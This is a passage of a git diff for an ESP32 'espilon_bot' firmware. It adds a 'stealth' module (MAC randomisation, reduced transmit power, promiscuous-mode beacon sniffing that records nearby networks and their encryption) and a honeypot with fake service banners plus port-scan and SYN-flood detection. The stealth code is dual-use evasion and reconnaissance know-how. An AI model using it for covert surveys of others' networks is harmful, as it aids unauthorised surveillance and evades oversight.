pkt->rx_ctrl.rssi; + } + return; + } + + if (s_scan_count >= FB_MAX_SCAN_APS) return; + + size_t hdr_len = sizeof(wifi_mgmt_hdr_t); + size_t body_offset = hdr_len + BEACON_FIXED_LEN; + + if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2)) + return; + + const uint8_t *body = pkt->payload + body_offset; + size_t body_len = pkt->rx_ctrl.sig_len - body_offset; + if (body_len > 4) body_len -= 4; + + fb_scan_ap_t *ap = &s_scan_results[s_scan_count]; + memset(ap, 0, sizeof(*ap)); + memcpy(ap->bssid, bssid, 6); + ap->rssi = pkt->rx_ctrl.rssi; + ap->channel = pkt->rx_ctrl.channel; + ap->auth_mode = 0; + + size_t pos = 0; + while (pos + 2 <= body_len) { + uint8_t tag_id = body[pos]; + uint8_t tag_len = body[pos + 1]; + + if (pos + 2 + tag_len > body_len) break; + + if (tag_id == 0) { + size_t ssid_len = tag_len; + if (ssid_len > 32) ssid_len = 32; + memcpy(ap->ssid, body + pos + 2, ssid_len); + ap->ssid[ssid_len] = '\0'; + } else if (tag_id == 48) { + ap->auth_mode = 3; + } else if (tag_id == 221) { + if (tag_len >= 4 && + body[pos + 2] == 0x00 && body[pos + 3] == 0x50 && + body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) { + if (ap->auth_mode == 0) ap->auth_mode = 2; + } + } + + pos += 2 + tag_len; + } + + s_scan_count++; +} + +int fb_stealth_passive_scan(int duration_ms) +{ + s_scan_count = 0; + memset(s_scan_results, 0, sizeof(s_scan_results)); + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret)); + return 0; + } + + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT + }; + esp_wifi_set_promiscuous_filter(&filter); + + ret = esp_wifi_set_promiscuous(true); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret)); + return 0; + } + + ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms); + + int channels = 13; + int hop_ms = 200; + int elapsed = 0; + + while (elapsed < duration_ms) { + for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) { + esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE); + vTaskDelay(pdMS_TO_TICKS(hop_ms)); + elapsed += hop_ms; + } + } + + esp_wifi_set_promiscuous(false); + + ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count); + return s_scan_count; +} + +int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) +{ + int count = s_scan_count; + if (count > max_count) count = max_count; + memcpy(out, s_scan_results, count * sizeof(fb_scan_ap_t)); + return count; +} + +#else /* !CONFIG_MODULE_FALLBACK — empty stubs */ + +#include + +void fb_stealth_save_original_mac(void) {} +void fb_stealth_randomize_mac(void) {} +void fb_stealth_restore_mac(void) {} +void fb_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); } +void fb_stealth_low_tx_power(void) {} +void fb_stealth_restore_tx_power(void) {} +int fb_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; } +int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; } + +#endif /* CONFIG_MODULE_FALLBACK */ diff --git a/espilon_bot/components/mod_fallback/fb_stealth.h b/espilon_bot/components/mod_fallback/fb_stealth.h new file mode 100644 index 0000000..be9e402 --- /dev/null +++ b/espilon_bot/components/mod_fallback/fb_stealth.h @@ -0,0 +1,37 @@ +/* + * fb_stealth.h + * OPSEC: MAC randomization, TX power control, passive scanning. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +void fb_stealth_save_original_mac(void); +void fb_stealth_randomize_mac(void); +void fb_stealth_restore_mac(void); +void fb_stealth_get_current_mac(uint8_t mac[6]); +void fb_stealth_low_tx_power(void); +void fb_stealth_restore_tx_power(void); + +int fb_stealth_passive_scan(int duration_ms); + +typedef struct { + uint8_t bssid[6]; + char ssid[33]; + int8_t rssi; + uint8_t channel; + uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */ +} fb_scan_ap_t; + +#define FB_MAX_SCAN_APS 32 + +int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_honeypot/CMakeLists.txt b/espilon_bot/components/mod_honeypot/CMakeLists.txt new file mode 100644 index 0000000..1e1184f --- /dev/null +++ b/espilon_bot/components/mod_honeypot/CMakeLists.txt @@ -0,0 +1,6 @@ +idf_component_register( + SRCS cmd_honeypot.c hp_config.c hp_tcp_services.c hp_wifi_monitor.c hp_net_monitor.c + services/svc_ssh.c services/svc_telnet.c services/svc_http.c services/svc_ftp.c + INCLUDE_DIRS . services + REQUIRES core nvs_flash lwip esp_wifi freertos +) diff --git a/espilon_bot/components/mod_honeypot/cmd_honeypot.c b/espilon_bot/components/mod_honeypot/cmd_honeypot.c new file mode 100644 index 0000000..d35a58b --- /dev/null +++ b/espilon_bot/components/mod_honeypot/cmd_honeypot.c @@ -0,0 +1,308 @@ +/* + * cmd_honeypot.c + * Honeypot command registration and dispatch. + * Compiled as empty when CONFIG_MODULE_HONEYPOT is not set. + * + * Commands (8 total, fits within 32-command budget): + * hp_svc + * hp_wifi + * hp_net + * hp_config_set + * hp_config_get + * hp_config_list [type] + * hp_config_reset + * hp_status + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include +#include + +#include "esp_log.h" +#include "utils.h" + +#include "hp_config.h" +#include "hp_tcp_services.h" +#include "hp_wifi_monitor.h" +#include "hp_net_monitor.h" + +#define TAG "HONEYPOT" + +/* ============================================================ + * COMMAND: hp_svc + * ============================================================ */ +static esp_err_t cmd_hp_svc( + int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + const char *svc_name = argv[0]; + const char *action = argv[1]; + + int id = hp_svc_name_to_id(svc_name); + if (id < 0) { + char buf[64]; + snprintf(buf, sizeof(buf), "error=unknown_service service=%s", svc_name); + msg_error(TAG, buf, req); + return ESP_ERR_INVALID_ARG; + } + + if (strcmp(action, "start") == 0) { + hp_svc_start((hp_svc_id_t)id); + char buf[64]; + snprintf(buf, sizeof(buf), "service=%s action=started", svc_name); + msg_info(TAG, buf, req); + } else if (strcmp(action, "stop") == 0) { + hp_svc_stop((hp_svc_id_t)id); + char buf[64]; + snprintf(buf, sizeof(buf), "service=%s action=stopped", svc_name); + msg_info(TAG, buf, req); + } else if (strcmp(action, "status") == 0) { + char buf[256]; + hp_svc_status((hp_svc_id_t)id, buf, sizeof(buf)); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "error=invalid_action expected=start|stop|status", req); + return ESP_ERR_INVALID_ARG; + } + + return ESP_OK; +} + +/* ============================================================ + * COMMAND: hp_wifi + * ============================================================ */ +static esp_err_t cmd_hp_wifi( + int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + const char *action = argv[0]; + + if (strcmp(action, "start") == 0) { + hp_wifi_monitor_start(); + msg_info(TAG, "wifi_monitor=started", req); + } else if (strcmp(action, "stop") == 0) { + hp_wifi_monitor_stop(); + msg_info(TAG, "wifi_monitor=stopped", req); + } else if (strcmp(action, "status") == 0) { + char buf[256]; + hp_wifi_monitor_status(buf, sizeof(buf)); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "error=invalid_action expected=start|stop|status", req); + return ESP_ERR_INVALID_ARG; + } + + return ESP_OK; +} + +/* ============================================================ + * COMMAND: hp_net + * ============================================================ */ +static esp_err_t cmd_hp_net( + int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + const char *action = argv[0]; + + if (strcmp(action, "start") == 0) { + hp_net_monitor_start(); + msg_info(TAG, "net_monitor=started", req); + } else if (strcmp(action, "stop") == 0) { + hp_net_monitor_stop(); + msg_info(TAG, "net_monitor=stopped", req); + } else if (strcmp(action, "status") == 0) { + char buf[256]; + hp_net_monitor_status(buf, sizeof(buf)); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "error=invalid_action expected=start|stop|status", req); + return ESP_ERR_INVALID_ARG; + } + + return ESP_OK; +} + +/* ============================================================ + * COMMAND: hp_config_set + * ============================================================ */ +static esp_err_t cmd_hp_config_set( + int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + const char *type = argv[0]; + const char *key = argv[1]; + const char *value = argv[2]; + + esp_err_t err; + if (strcmp(type, "banner") == 0) { + err = hp_config_set_banner(key, value); + } else if (strcmp(type, "threshold") == 0) { + err = hp_config_set_threshold(key, atoi(value)); + } else { + msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req); + return ESP_ERR_INVALID_ARG; + } + + if (err == ESP_OK) { + char buf[128]; + snprintf(buf, sizeof(buf), "config_set=%s.%s value=%s", type, key, value); + msg_info(TAG, buf, req); + } else { + msg_error(TAG, "error=config_set_failed", req); + } + return err; +} + +/* ============================================================ + * COMMAND: hp_config_get + * ============================================================ */ +static esp_err_t cmd_hp_config_get( + int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + const char *type = argv[0]; + const char *key = argv[1]; + + char buf[256]; + if (strcmp(type, "banner") == 0) { + char val[128]; + hp_config_get_banner(key, val, sizeof(val)); + /* Strip newlines for display */ + for (char *p = val; *p; p++) { + if (*p == '\r' || *p == '\n') { *p = '\0'; break; } + } + snprintf(buf, sizeof(buf), "banner_%s=%s", key, val); + } else if (strcmp(type, "threshold") == 0) { + int val = hp_config_get_threshold(key); + snprintf(buf, sizeof(buf), "threshold_%s=%d", key, val); + } else { + msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req); + return ESP_ERR_INVALID_ARG; + } + + msg_info(TAG, buf, req); + return ESP_OK; +} + +/* ============================================================ + * COMMAND: hp_config_list [type] + * ============================================================ */ +static esp_err_t cmd_hp_config_list( + int argc, char **argv, const char *req, void *ctx) +{ + (void)ctx; + const char *filter = (argc > 0) ? argv[0] : ""; + + char buf[512]; + hp_config_list(filter, buf, sizeof(buf)); + msg_info(TAG, buf, req); + return ESP_OK; +} + +/* ============================================================ + * COMMAND: hp_config_reset + * ============================================================ */ +static esp_err_t cmd_hp_config_reset( + int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + esp_err_t err = hp_config_reset_all(); + if (err == ESP_OK) + msg_info(TAG, "config=reset_to_defaults", req); + else + msg_error(TAG, "error=config_reset_failed", req); + return err; +} + +/* ============================================================ + * COMMAND: hp_status + * ============================================================ */ +static esp_err_t cmd_hp_status( + int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + char buf[512]; + int off = 0; + + /* Services */ + for (int i = 0; i < HP_SVC_COUNT; i++) { + off += snprintf(buf + off, sizeof(buf) - off, "%s=%s ", + hp_svc_id_to_name((hp_svc_id_t)i), + hp_svc_running((hp_svc_id_t)i) ? "up" : "down"); + } + + /* Monitors */ + off += snprintf(buf + off, sizeof(buf) - off, "wifi_mon=%s net_mon=%s", + hp_wifi_monitor_running() ? "up" : "down", + hp_net_monitor_running() ? "up" : "down"); + + msg_info(TAG, buf, req); + return ESP_OK; +} + +/* ============================================================ + * COMMAND: hp_start_all — start all services + monitors + * ============================================================ */ +static esp_err_t cmd_hp_start_all( + int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + for (int i = 0; i < HP_SVC_COUNT; i++) + hp_svc_start((hp_svc_id_t)i); + hp_wifi_monitor_start(); + hp_net_monitor_start(); + + msg_info(TAG, "all=started", req); + return ESP_OK; +} + +/* ============================================================ + * COMMAND: hp_stop_all — stop all services + monitors + * ============================================================ */ +static esp_err_t cmd_hp_stop_all( + int argc, char **argv, const char *req, void *ctx) +{ + (void)argc; (void)argv; (void)ctx; + + for (int i = 0; i < HP_SVC_COUNT; i++) + hp_svc_stop((hp_svc_id_t)i); + hp_wifi_monitor_stop(); + hp_net_monitor_stop(); + + msg_info(TAG, "all=stopped", req); + return ESP_OK; +} + +/* ============================================================ + * COMMAND REGISTRATION + * ============================================================ */ +static const command_t hp_cmds[] = { + { "hp_svc", NULL, "Service control", 2, 2, cmd_hp_svc, NULL, false }, + { "hp_wifi", NULL, "WiFi monitor", 1, 1, cmd_hp_wifi, NULL, false }, + { "hp_net", NULL, "Network monitor", 1, 1, cmd_hp_net, NULL, false }, + { "hp_config_set", NULL, "Set config", 3, 3, cmd_hp_config_set, NULL, false }, + { "hp_config_get", NULL, "Get config", 2, 2, cmd_hp_config_get, NULL, false }, + { "hp_config_list", NULL, "List config", 0, 1, cmd_hp_config_list, NULL, false }, + { "hp_config_reset", NULL, "Reset config", 0, 0, cmd_hp_config_reset, NULL, false }, + { "hp_status", NULL, "Honeypot status", 0, 0, cmd_hp_status, NULL, false }, + { "hp_start_all", NULL, "Start all services", 0, 0, cmd_hp_start_all, NULL, false }, + { "hp_stop_all", NULL, "Stop all services", 0, 0, cmd_hp_stop_all, NULL, false }, +}; + +void mod_honeypot_register_commands(void) +{ + ESPILON_LOGI_PURPLE(TAG, "Registering honeypot commands"); + + hp_config_init(); + + for (size_t i = 0; i < sizeof(hp_cmds) / sizeof(hp_cmds[0]); i++) { + command_register(&hp_cmds[i]); + } +} + +#endif /* CONFIG_MODULE_HONEYPOT */ diff --git a/espilon_bot/components/mod_honeypot/cmd_honeypot.h b/espilon_bot/components/mod_honeypot/cmd_honeypot.h new file mode 100644 index 0000000..6f82b0c --- /dev/null +++ b/espilon_bot/components/mod_honeypot/cmd_honeypot.h @@ -0,0 +1,8 @@ +/* + * cmd_honeypot.h + * Honeypot module public API. + * Compiled as empty when CONFIG_MODULE_HONEYPOT is not set. + */ +#pragma once + +void mod_honeypot_register_commands(void); diff --git a/espilon_bot/components/mod_honeypot/hp_config.c b/espilon_bot/components/mod_honeypot/hp_config.c new file mode 100644 index 0000000..d4f4ff3 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_config.c @@ -0,0 +1,204 @@ +/* + * hp_config.c + * NVS-backed runtime configuration for honeypot services. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include +#include +#include + +#include "esp_log.h" +#include "nvs_flash.h" +#include "nvs.h" + +#include "hp_config.h" + +#define TAG "HP_CFG" +#define NVS_NS "hp_cfg" + +/* ============================================================ + * Default banners + * ============================================================ */ +static const struct { + const char *service; + const char *banner; +} default_banners[] = { + { "ssh", "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n" }, + { "telnet", "\r\nUbuntu 22.04.3 LTS\r\nlogin: " }, + { "ftp", "220 ProFTPD 1.3.5e Server (Debian)\r\n" }, + { "http", "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" }, +}; +#define NUM_BANNERS (sizeof(default_banners) / sizeof(default_banners[0])) + +/* ============================================================ + * Default thresholds + * ============================================================ */ +static const struct { + const char *key; + int value; +} default_thresholds[] = { + { "portscan", 5 }, + { "synflood", 50 }, + { "icmp", 10 }, + { "udpflood", 100 }, + { "arpflood", 50 }, + { "tarpit_ms", 2000 }, +}; +#define NUM_THRESHOLDS (sizeof(default_thresholds) / sizeof(default_thresholds[0])) + +/* ============================================================ + * Init + * ============================================================ */ +void hp_config_init(void) +{ + ESP_LOGI(TAG, "Config subsystem ready (NVS ns=%s)", NVS_NS); +} + +/* ============================================================ + * Banner helpers + * ============================================================ */ +static const char *_default_banner(const char *service) +{ + for (size_t i = 0; i < NUM_BANNERS; i++) { + if (strcmp(default_banners[i].service, service) == 0) + return default_banners[i].banner; + } + return ""; +} + +esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h); + if (err == ESP_OK) { + char key[16]; + snprintf(key, sizeof(key), "b_%s", service); + size_t len = out_len; + err = nvs_get_str(h, key, out, &len); + nvs_close(h); + if (err == ESP_OK) + return ESP_OK; + } + + /* Fall back to compile-time default */ + const char *def = _default_banner(service); + snprintf(out, out_len, "%s", def); + return ESP_OK; +} + +esp_err_t hp_config_set_banner(const char *service, const char *value) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + + char key[16]; + snprintf(key, sizeof(key), "b_%s", service); + err = nvs_set_str(h, key, value); + if (err == ESP_OK) err = nvs_commit(h); + nvs_close(h); + return err; +} + +/* ============================================================ + * Threshold helpers + * ============================================================ */ +static int _default_threshold(const char *key) +{ + for (size_t i = 0; i < NUM_THRESHOLDS; i++) { + if (strcmp(default_thresholds[i].key, key) == 0) + return default_thresholds[i].value; + } + return 0; +} + +int hp_config_get_threshold(const char *key) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h); + if (err == ESP_OK) { + char nkey[16]; + snprintf(nkey, sizeof(nkey), "t_%s", key); + int32_t val = 0; + err = nvs_get_i32(h, nkey, &val); + nvs_close(h); + if (err == ESP_OK) + return (int)val; + } + return _default_threshold(key); +} + +esp_err_t hp_config_set_threshold(const char *key, int value) +{ + /* Clamp to sane range */ + if (value < 1) value = 1; + if (value > 10000) value = 10000; + + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + + char nkey[16]; + snprintf(nkey, sizeof(nkey), "t_%s", key); + err = nvs_set_i32(h, nkey, (int32_t)value); + if (err == ESP_OK) err = nvs_commit(h); + nvs_close(h); + return err; +} + +/* ============================================================ + * Reset + * ============================================================ */ +esp_err_t hp_config_reset_all(void) +{ + nvs_handle_t h; + esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h); + if (err != ESP_OK) return err; + + err = nvs_erase_all(h); + if (err == ESP_OK) err = nvs_commit(h); + nvs_close(h); + + ESP_LOGI(TAG, "Config reset to defaults"); + return err; +} + +/* ============================================================ + * List + * ============================================================ */ +int hp_config_list(const char *type_filter, char *buf, size_t buf_len) +{ + int off = 0; + bool show_banners = (!type_filter || !type_filter[0] || + strcmp(type_filter, "banner") == 0); + bool show_thresholds = (!type_filter || !type_filter[0] || + strcmp(type_filter, "threshold") == 0); + + if (show_banners) { + for (size_t i = 0; i < NUM_BANNERS; i++) { + char val[128]; + hp_config_get_banner(default_banners[i].service, val, sizeof(val)); + /* Truncate for display (strip \r\n) */ + char *p = val; + while (*p && *p != '\r' && *p != '\n') p++; + *p = '\0'; + off += snprintf(buf + off, buf_len - off, + "banner_%s=%s ", default_banners[i].service, val); + } + } + + if (show_thresholds) { + for (size_t i = 0; i < NUM_THRESHOLDS; i++) { + int val = hp_config_get_threshold(default_thresholds[i].key); + off += snprintf(buf + off, buf_len - off, + "threshold_%s=%d ", default_thresholds[i].key, val); + } + } + + return off; +} + +#endif /* CONFIG_MODULE_HONEYPOT */ diff --git a/espilon_bot/components/mod_honeypot/hp_config.h b/espilon_bot/components/mod_honeypot/hp_config.h new file mode 100644 index 0000000..3663e25 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_config.h @@ -0,0 +1,29 @@ +/* + * hp_config.h + * NVS-backed runtime configuration for honeypot services. + * + * Two config types: + * "banner" — per-service banner strings (ssh, telnet, ftp, http) + * "threshold" — detection thresholds (portscan, synflood, icmp, udpflood, arpflood, tarpit_ms) + */ +#pragma once + +#include "esp_err.h" +#include + +/* Initialise NVS namespace (call once at registration time) */ +void hp_config_init(void); + +/* banner get/set — returns ESP_OK or ESP_ERR_* */ +esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len); +esp_err_t hp_config_set_banner(const char *service, const char *value); + +/* threshold get/set */ +int hp_config_get_threshold(const char *key); +esp_err_t hp_config_set_threshold(const char *key, int value); + +/* Reset all config to compile-time defaults */ +esp_err_t hp_config_reset_all(void); + +/* List all config as key=value pairs into buf (for status responses) */ +int hp_config_list(const char *type_filter, char *buf, size_t buf_len); diff --git a/espilon_bot/components/mod_honeypot/hp_net_monitor.c b/espilon_bot/components/mod_honeypot/hp_net_monitor.c new file mode 100644 index 0000000..dfd7bfe --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_net_monitor.c @@ -0,0 +1,331 @@ +/* + * hp_net_monitor.c + * Network anomaly detector: port scan, SYN flood. + * + * Uses a raw TCP socket (LWIP) to inspect incoming SYN packets. + * Maintains a per-IP tracking table (max 32 entries) with sliding + * window counters. Sends HP| events when thresholds are exceeded. + * + * Note: ARP monitoring requires LWIP netif hooks (layer 2) and is + * not possible via raw sockets. May be added via etharp callback later. + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include +#include +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/semphr.h" + +#include "lwip/sockets.h" + +#include "utils.h" +#include "event_format.h" +#include "hp_config.h" +#include "hp_net_monitor.h" + +#define TAG "HP_NET" + +#define NET_MON_STACK 4096 +#define NET_MON_PRIO 4 +#define NET_MON_CORE 1 + +/* Tracking table */ +#define MAX_TRACKED_IPS 32 +#define WINDOW_SEC 10 /* Sliding window for detections */ + +/* ============================================================ + * IP tracker entry + * ============================================================ */ +typedef struct { + uint32_t ip; /* Network byte order */ + uint32_t first_seen; /* Tick count (ms) */ + uint32_t last_seen; + uint16_t unique_ports[32]; /* Ring buffer of destination ports */ + uint8_t port_idx; + uint8_t port_count; + uint32_t syn_count; /* SYN packets in window */ + bool portscan_alerted; + bool synflood_alerted; +} ip_tracker_t; + +/* ============================================================ + * State + * ============================================================ */ +static atomic_bool net_running = false; +static atomic_bool net_stop_req = false; +static TaskHandle_t net_task = NULL; + +static SemaphoreHandle_t tracker_mutex = NULL; +static ip_tracker_t trackers[MAX_TRACKED_IPS]; +static int tracker_count = 0; + +static uint32_t total_port_scans = 0; +static uint32_t total_syn_floods = 0; + +/* ============================================================ + * Tracker helpers + * ============================================================ */ +static uint32_t now_ms(void) +{ + return (uint32_t)(xTaskGetTickCount() * portTICK_PERIOD_MS); +} + +static void ip_to_str(uint32_t ip_nbo, char *buf, size_t len) +{ + uint8_t *b = (uint8_t *)&ip_nbo; + snprintf(buf, len, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]); +} + +static ip_tracker_t *find_or_create_tracker(uint32_t ip) +{ + uint32_t now = now_ms(); + + /* Search existing */ + for (int i = 0; i < tracker_count; i++) { + if (trackers[i].ip == ip) + return &trackers[i]; + } + + /* Evict oldest if full */ + if (tracker_count >= MAX_TRACKED_IPS) { + int oldest_idx = 0; + uint32_t oldest_time = trackers[0].last_seen; + for (int i = 1; i < tracker_count; i++) { + if (trackers[i].last_seen < oldest_time) { + oldest_time = trackers[i].last_seen; + oldest_idx = i; + } + } + if (oldest_idx < tracker_count - 1) + trackers[oldest_idx] = trackers[tracker_count - 1]; + tracker_count--; + } + + ip_tracker_t *t = &trackers[tracker_count++]; + memset(t, 0, sizeof(*t)); + t->ip = ip; + t->first_seen = now; + t->last_seen = now; + return t; +} + +static void expire_trackers(void) +{ + uint32_t now = now_ms(); + uint32_t window = WINDOW_SEC * 1000; + + for (int i = 0; i < tracker_count; ) { + if ((now - trackers[i].last_seen) > window * 3) { + if (i < tracker_count - 1) + trackers[i] = trackers[tracker_count - 1]; + tracker_count--; + } else { + if ((now - trackers[i].first_seen) > window) { + trackers[i].syn_count = 0; + trackers[i].port_count = 0; + trackers[i].port_idx = 0; + trackers[i].first_seen = now; + trackers[i].portscan_alerted = false; + trackers[i].synflood_alerted = false; + } + i++; + } + } +} + +static bool port_already_seen(ip_tracker_t *t, uint16_t port) +{ + for (int i = 0; i < t->port_count && i < 32; i++) { + if (t->unique_ports[i] == port) + return true; + } + return false; +} + +/* ============================================================ + * Event recording + * ============================================================ */ +static void record_syn(uint32_t src_ip, uint16_t dst_port) +{ + if (!tracker_mutex || + xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) != pdTRUE) + return; + + ip_tracker_t *t = find_or_create_tracker(src_ip); + t->last_seen = now_ms(); + t->syn_count++; + + /* Track unique ports for portscan detection */ + if (!port_already_seen(t, dst_port)) { + t->unique_ports[t->port_idx % 32] = dst_port; + t->port_idx++; + t->port_count++; + } + + /* Snapshot values before releasing mutex */ + uint8_t port_count = t->port_count; + uint32_t syn_count = t->syn_count; + bool ps_alerted = t->portscan_alerted; + bool sf_alerted = t->synflood_alerted; + + int ps_thresh = hp_config_get_threshold("portscan"); + if (port_count >= (uint8_t)ps_thresh && !ps_alerted) { + t->portscan_alerted = true; + total_port_scans++; + } + + int sf_thresh = hp_config_get_threshold("synflood"); + if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) { + t->synflood_alerted = true; + total_syn_floods++; + } + + xSemaphoreGive(tracker_mutex); + + /* Send events outside mutex to avoid blocking */ + if (port_count >= (uint8_t)ps_thresh && !ps_alerted) { + char ip_str[16]; + ip_to_str(src_ip, ip_str, sizeof(ip_str)); + char detail[64]; + snprintf(detail, sizeof(detail), "unique_ports=%d window=%ds", + port_count, WINDOW_SEC); + event_send("PORT_SCAN", "HIGH", "00:00:00:00:00:00", + ip_str, 0, 0, detail, NULL); + } + + if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) { + char ip_str[16]; + ip_to_str(src_ip, ip_str, sizeof(ip_str)); + char detail[64]; + snprintf(detail, sizeof(detail), "syn_count=%lu window=%ds", + (unsigned long)syn_count, WINDOW_SEC); + event_send("SYN_FLOOD", "CRITICAL", "00:00:00:00:00:00", + ip_str, 0, 0, detail, NULL); + } +} + +/* ============================================================ + * Raw socket listener task + * ============================================================ */ +static void net_monitor_task(void *arg) +{ + (void)arg; + + int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); + if (raw_fd < 0) { + ESP_LOGE(TAG, "raw socket failed: %d", errno); + goto done; + } + + struct timeval tv = { .tv_sec = 1, .tv_usec = 0 }; + setsockopt(raw_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + ESP_LOGI(TAG, "Network monitor started"); + net_running = true; + + uint8_t pkt_buf[128]; + + while (!net_stop_req) { + struct sockaddr_in src_addr; + socklen_t addr_len = sizeof(src_addr); + int n = recvfrom(raw_fd, pkt_buf, sizeof(pkt_buf), 0, + (struct sockaddr *)&src_addr, &addr_len); + + if (n > 0) { + uint8_t ihl = (pkt_buf[0] & 0x0F) * 4; + if (ihl < 20 || n < ihl + 20) + goto next; + + uint8_t *tcp = pkt_buf + ihl; + uint16_t dst_port = (tcp[2] << 8) | tcp[3]; + uint8_t flags = tcp[13]; + + /* SYN set, ACK not set → connection initiation */ + if ((flags & 0x02) && !(flags & 0x10)) { + record_syn(src_addr.sin_addr.s_addr, dst_port); + } + } + +next: + if (tracker_mutex && + xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) { + expire_trackers(); + xSemaphoreGive(tracker_mutex); + } + } + + close(raw_fd); + +done: + net_running = false; + net_stop_req = false; + ESP_LOGI(TAG, "Network monitor stopped"); + net_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ +void hp_net_monitor_start(void) +{ + if (net_running || net_task) { + ESP_LOGW(TAG, "Network monitor already running"); + return; + } + + if (!tracker_mutex) + tracker_mutex = xSemaphoreCreateMutex(); + + tracker_count = 0; + total_port_scans = total_syn_floods = 0; + memset(trackers, 0, sizeof(trackers)); + net_stop_req = false; + + BaseType_t ret = xTaskCreatePinnedToCore(net_monitor_task, "hp_net", + NET_MON_STACK, NULL, NET_MON_PRIO, &net_task, NET_MON_CORE); + if (ret != pdPASS) { + ESP_LOGE(TAG, "Failed to create net monitor task"); + net_task = NULL; + } +} + +void hp_net_monitor_stop(void) +{ + if (!net_running && !net_task) { + ESP_LOGW(TAG, "Network monitor not running"); + return; + } + net_stop_req = true; + ESP_LOGI(TAG, "Network monitor stop requested"); +} + +bool hp_net_monitor_running(void) +{ + return net_running; +} + +int hp_net_monitor_status(char *buf, size_t len) +{ + int count = 0; + if (tracker_mutex && + xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) { + count = tracker_count; + xSemaphoreGive(tracker_mutex); + } + + return snprintf(buf, len, + "running=%s tracked_ips=%d port_scans=%lu syn_floods=%lu", + net_running ? "yes" : "no", + count, + (unsigned long)total_port_scans, + (unsigned long)total_syn_floods); +} + +#endif /* CONFIG_MODULE_HONEYPOT */ diff --git a/espilon_bot/components/mod_honeypot/hp_net_monitor.h b/espilon_bot/components/mod_honeypot/hp_net_monitor.h new file mode 100644 index 0000000..bbf9d23 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_net_monitor.h @@ -0,0 +1,13 @@ +/* + * hp_net_monitor.h + * Network anomaly detector: port scan, SYN flood, ARP flood/spoof. + * Runs a periodic task that inspects counters updated from raw sockets. + */ +#pragma once + +#include + +void hp_net_monitor_start(void); +void hp_net_monitor_stop(void); +bool hp_net_monitor_running(void); +int hp_net_monitor_status(char *buf, size_t len); diff --git a/espilon_bot/components/mod_honeypot/hp_tcp_services.c b/espilon_bot/components/mod_honeypot/hp_tcp_services.c new file mode 100644 index 0000000..1bb2805 --- /dev/null +++ b/espilon_bot/components/mod_honeypot/hp_tcp_services.c @@ -0,0 +1,204 @@ +/* + * hp_tcp_services.c + * Generic TCP listener + public API for honeypot services. + * Service handlers live in services/svc_*.c + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_HONEYPOT + +#include +#include "esp_log.h" +#include "services/svc_common.h" +#include "hp_tcp_services.h" + +#define TAG 